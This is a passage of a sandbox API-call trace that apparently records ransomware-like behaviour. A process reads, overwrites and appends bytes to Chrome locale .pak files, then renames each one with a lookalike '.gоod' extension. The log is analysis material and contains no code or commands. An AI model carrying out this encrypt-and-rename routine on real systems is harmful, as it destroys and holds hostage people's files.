lpOldMode=0x1fbeba50) returned 1 [0117.395] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\kn.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\kn.pak.gоod")) returned 1 [0117.396] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", lpFilePart=0x0) returned 0x4c [0117.396] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0117.396] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak"), fInfoLevelId=0x0, lpFileInformation=0x33b2da8 | out: lpFileInformation=0x33b2da8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b18b04, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x47baa)) returned 1 [0118.516] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0118.800] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", lpFilePart=0x0) returned 0x4c [0118.801] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0118.801] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0118.801] GetFileType (hFile=0x20c) returned 0x1 [0118.801] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0118.801] GetFileType (hFile=0x20c) returned 0x1 [0118.801] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0118.801] ReadFile (in: hFile=0x20c, lpBuffer=0x35c83c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35c83c8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0118.802] CloseHandle (hObject=0x20c) returned 1 [0118.803] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", lpFilePart=0x0) returned 0x4c [0118.803] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0118.803] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0118.803] GetFileType (hFile=0x20c) returned 0x1 [0118.803] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0118.803] GetFileType (hFile=0x20c) returned 0x1 [0118.803] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x47baa [0118.803] WriteFile (in: hFile=0x20c, lpBuffer=0x35ca6f0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35ca6f0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0118.805] CloseHandle (hObject=0x20c) returned 1 [0118.805] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", lpFilePart=0x0) returned 0x4c [0118.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0118.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0118.806] GetFileType (hFile=0x20c) returned 0x1 [0118.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0118.806] GetFileType (hFile=0x20c) returned 0x1 [0118.806] ReadFile (in: hFile=0x20c, lpBuffer=0x35ccb60, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x35ccb60*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0119.486] CloseHandle (hObject=0x20c) returned 1 [0119.486] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", lpFilePart=0x0) returned 0x4c [0119.486] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.486] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.486] GetFileType (hFile=0x20c) returned 0x1 [0119.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.487] GetFileType (hFile=0x20c) returned 0x1 [0119.487] WriteFile (in: hFile=0x20c, lpBuffer=0x331a280*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x331a280*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0119.487] CloseHandle (hObject=0x20c) returned 1 [0119.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak", lpFilePart=0x0) returned 0x4c [0119.487] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak.gоod", lpFilePart=0x0) returned 0x51 [0119.487] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0119.487] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x436dc35c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x47bba)) returned 1 [0119.487] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0119.487] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\ko.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\ko.pak.gоod")) returned 1 [0119.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", lpFilePart=0x0) returned 0x4c [0119.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0119.664] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak"), fInfoLevelId=0x0, lpFileInformation=0x35130b0 | out: lpFileInformation=0x35130b0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b35fc4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x4869b)) returned 1 [0119.664] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0119.664] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", lpFilePart=0x0) returned 0x4c [0119.664] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.664] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.665] GetFileType (hFile=0x20c) returned 0x1 [0119.665] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.665] GetFileType (hFile=0x20c) returned 0x1 [0119.665] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0119.665] ReadFile (in: hFile=0x20c, lpBuffer=0x35134c8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x35134c8*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0119.667] CloseHandle (hObject=0x20c) returned 1 [0119.667] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", lpFilePart=0x0) returned 0x4c [0119.667] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.667] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.667] GetFileType (hFile=0x20c) returned 0x1 [0119.667] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.667] GetFileType (hFile=0x20c) returned 0x1 [0119.667] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x4869b [0119.667] WriteFile (in: hFile=0x20c, lpBuffer=0x35147d0*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x35147d0*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0119.668] CloseHandle (hObject=0x20c) returned 1 [0119.669] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", lpFilePart=0x0) returned 0x4c [0119.669] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.669] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.669] GetFileType (hFile=0x20c) returned 0x1 [0119.669] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.669] GetFileType (hFile=0x20c) returned 0x1 [0119.669] ReadFile (in: hFile=0x20c, lpBuffer=0x3516a90, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x3516a90*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0119.805] CloseHandle (hObject=0x20c) returned 1 [0119.805] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", lpFilePart=0x0) returned 0x4c [0119.805] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.805] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.806] GetFileType (hFile=0x20c) returned 0x1 [0119.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.806] GetFileType (hFile=0x20c) returned 0x1 [0119.806] WriteFile (in: hFile=0x20c, lpBuffer=0x3360650*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3360650*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0119.806] CloseHandle (hObject=0x20c) returned 1 [0119.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak", lpFilePart=0x0) returned 0x4c [0119.806] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak.gоod", lpFilePart=0x0) returned 0x51 [0119.806] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0119.806] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45ae6e6, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45ae6e6, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x439ff56c, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x486ab)) returned 1 [0119.806] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0119.806] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak"), lpNewFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lt.pak.gоod" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lt.pak.gоod")) returned 1 [0119.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", lpFilePart=0x0) returned 0x4c [0119.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbebad0) returned 1 [0119.807] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak"), fInfoLevelId=0x0, lpFileInformation=0x33a8f88 | out: lpFileInformation=0x33a8f88*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x51b386d4, ftLastWriteTime.dwHighDateTime=0x1d32554, nFileSizeHigh=0x0, nFileSizeLow=0x48945)) returned 1 [0119.807] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba90) returned 1 [0119.807] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", lpFilePart=0x0) returned 0x4c [0119.807] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.807] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.808] GetFileType (hFile=0x20c) returned 0x1 [0119.808] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.808] GetFileType (hFile=0x20c) returned 0x1 [0119.808] SetFilePointer (in: hFile=0x20c, lDistanceToMove=4096, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x1000 [0119.808] ReadFile (in: hFile=0x20c, lpBuffer=0x33a93a0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaf8, lpOverlapped=0x0 | out: lpBuffer=0x33a93a0*, lpNumberOfBytesRead=0x1fbebaf8*=0x1000, lpOverlapped=0x0) returned 1 [0119.809] CloseHandle (hObject=0x20c) returned 1 [0119.809] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", lpFilePart=0x0) returned 0x4c [0119.809] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.809] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.810] GetFileType (hFile=0x20c) returned 0x1 [0119.810] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.810] GetFileType (hFile=0x20c) returned 0x1 [0119.810] SetFilePointer (in: hFile=0x20c, lDistanceToMove=0, lpDistanceToMoveHigh=0x1fbebb28*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x1fbebb28*=0) returned 0x48945 [0119.810] WriteFile (in: hFile=0x20c, lpBuffer=0x33aa7a8*, nNumberOfBytesToWrite=0x10, lpNumberOfBytesWritten=0x1fbeba18, lpOverlapped=0x0 | out: lpBuffer=0x33aa7a8*, lpNumberOfBytesWritten=0x1fbeba18*=0x10, lpOverlapped=0x0) returned 1 [0119.811] CloseHandle (hObject=0x20c) returned 1 [0119.811] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", lpFilePart=0x0) returned 0x4c [0119.811] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0119.811] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0119.812] GetFileType (hFile=0x20c) returned 0x1 [0119.812] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0119.812] GetFileType (hFile=0x20c) returned 0x1 [0119.812] ReadFile (in: hFile=0x20c, lpBuffer=0x33adb98, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x1fbebaa8, lpOverlapped=0x0 | out: lpBuffer=0x33adb98*, lpNumberOfBytesRead=0x1fbebaa8*=0x1000, lpOverlapped=0x0) returned 1 [0121.696] CloseHandle (hObject=0x20c) returned 1 [0121.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb4b0, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", lpFilePart=0x0) returned 0x4c [0121.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeb9d0) returned 1 [0121.697] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x20c [0121.697] GetFileType (hFile=0x20c) returned 0x1 [0121.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeb940) returned 1 [0121.697] GetFileType (hFile=0x20c) returned 0x1 [0121.697] WriteFile (in: hFile=0x20c, lpBuffer=0x3368260*, nNumberOfBytesToWrite=0x1010, lpNumberOfBytesWritten=0x1fbebb58, lpOverlapped=0x0 | out: lpBuffer=0x3368260*, lpNumberOfBytesWritten=0x1fbebb58*=0x1010, lpOverlapped=0x0) returned 1 [0121.697] CloseHandle (hObject=0x20c) returned 1 [0121.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak", lpFilePart=0x0) returned 0x4c [0121.697] GetFullPathNameW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak.gоod", nBufferLength=0x105, lpBuffer=0x1fbeb600, lpFilePart=0x0 | out: lpBuffer="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak.gоod", lpFilePart=0x0) returned 0x51 [0121.697] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x1fbeba90) returned 1 [0121.697] GetFileAttributesExW (in: lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\61.0.3163.79\\locales\\lv.pak"), fInfoLevelId=0x0, lpFileInformation=0x1fbebb70 | out: lpFileInformation=0x1fbebb70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe45d495b, ftCreationTime.dwHighDateTime=0x1d327cb, ftLastAccessTime.dwLowDateTime=0xe45d495b, ftLastAccessTime.dwHighDateTime=0x1d327cb, ftLastWriteTime.dwLowDateTime=0x44c06f54, ftLastWriteTime.dwHighDateTime=0x1d5c5e4, nFileSizeHigh=0x0, nFileSizeLow=0x48955)) returned 1 [0121.697] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x1fbeba50) returned 1 [0121.698] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\61.0.3163.79\\Locales\\lv.pak" (normalized: "c:\\program files 